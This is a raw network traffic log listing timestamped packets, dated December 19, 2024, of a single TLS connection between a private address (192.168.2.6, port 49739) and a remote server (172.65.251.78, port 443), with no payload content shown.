Dec 19, 2024 14:20:25.212707043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212730885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212770939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212821960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212821960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212830067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212852955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212925911 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.264986038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.265017986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.265077114 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.265094995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.265147924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.265147924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.272856951 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.272922993 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.273010969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.273010969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.273021936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.273072004 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.282248974 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.282280922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.282361984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.282361984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.282372952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.282426119 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.324820042 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.324873924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.324913979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.324929953 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.324949980 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.324984074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.335148096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.335203886 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.335277081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.335277081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.335292101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.335349083 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.348947048 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.348978043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.349013090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.349023104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.349092007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.373420954 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.373461008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.373538017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.373547077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.373594046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.373594046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.377357960 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.377387047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.377444029 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.377450943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.377505064 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.458524942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.458564997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.458611965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.458621979 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.458738089 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.465488911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.465526104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.465648890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.465648890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.465657949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.465708971 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.473383904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.473417997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.473520041 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.473520041 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.473527908 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.473696947 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.524393082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.524424076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.524514914 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.524527073 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.524635077 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.531389952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.531419039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.531482935 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.531490088 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.531580925 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.531580925 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.540093899 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.540128946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.540196896 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.540206909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.540244102 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.540349960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.568973064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.569008112 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.569109917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.569109917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.569123030 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.569374084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.573981047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.573993921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.574126005 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.574134111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.574280024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.648547888 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.648581982 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.648654938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.648667097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.648744106 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.648744106 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.655790091 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.655817986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.655908108 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.655915976 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.656049013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.661700010 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.661725044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.661787987 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.661798954 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.661842108 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.661873102 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.704616070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.704648972 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.704725981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.704740047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.704772949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.704796076 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.710083961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.710115910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.710165024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.710171938 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.710246086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.710246086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.716242075 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.716284037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.716368914 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.716377020 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.716438055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.716438055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.761920929 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.761951923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.762020111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.762037039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.762077093 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.762077093 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.764615059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.764652014 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.764755964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.764755964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.764765024 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.764980078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.927670002 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.927731991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.927778006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.927788019 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.927814007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.927886963 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.928261042 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928313017 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928423882 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.928423882 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.928431034 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928483963 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.928847075 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928896904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928927898 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.928934097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.928955078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.929013968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934376955 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934425116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934629917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934629917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934636116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934680939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934695959 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934710026 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934766054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934818983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934818983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934818983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.934828043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.934973955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.935211897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.935257912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.935317039 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.935317039 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.935323000 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.935368061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.950117111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.950165033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.950201035 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.950206995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.950232029 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.950258970 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.954313040 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.954360008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.954408884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.954420090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.954524994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.954524994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.035655975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.035680056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.036432981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.036432981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.036442995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.036582947 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.045002937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.045034885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.045152903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.045152903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.045161009 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.045344114 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.053157091 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.053175926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.053276062 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.053283930 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.053596973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245022058 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245075941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245143890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245155096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245194912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245234013 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245281935 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245287895 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245307922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245316029 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.245353937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.245415926 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269340038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269386053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269427061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269435883 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269512892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269512892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269530058 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269570112 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269615889 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269623041 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269634962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269668102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269678116 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269694090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269742012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269742966 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.269831896 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.269839048 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270010948 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270077944 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270123959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270159006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270169020 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270200014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270200014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270334959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270381927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270407915 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270412922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270492077 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270592928 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270638943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270665884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270674944 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.270709991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.270709991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.371803045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.371855021 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.371901989 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.371915102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.371983051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.371983051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.391695976 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.391748905 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.391802073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.391808987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.391854048 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.392054081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.399203062 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.399224043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.399288893 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.399296999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.399333000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.404094934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.404117107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.404212952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.404212952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.404227018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.404387951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.408267975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.408283949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.408360004 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.408369064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.408480883 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.426139116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.426157951 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.426526070 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.426542997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.426626921 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.433579922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.433597088 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.433661938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.433670044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.433779001 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.440947056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.440964937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.441222906 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.441231012 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.441303968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.491472960 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.491493940 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.491564989 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.491579056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.491590977 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.491729021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.498832941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.498851061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.498964071 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.498972893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.499022007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.506027937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.506045103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.506123066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.506130934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.506139994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.506330013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.529927969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.529947996 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.530066967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.530076981 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.530208111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.534111023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.534131050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.534195900 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.534213066 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.534456968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.607930899 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.607954025 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.608040094 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.608052969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.608064890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.608197927 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.613959074 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.613987923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.614028931 CET	49739	443	192.168.2.6	172.65.251.78
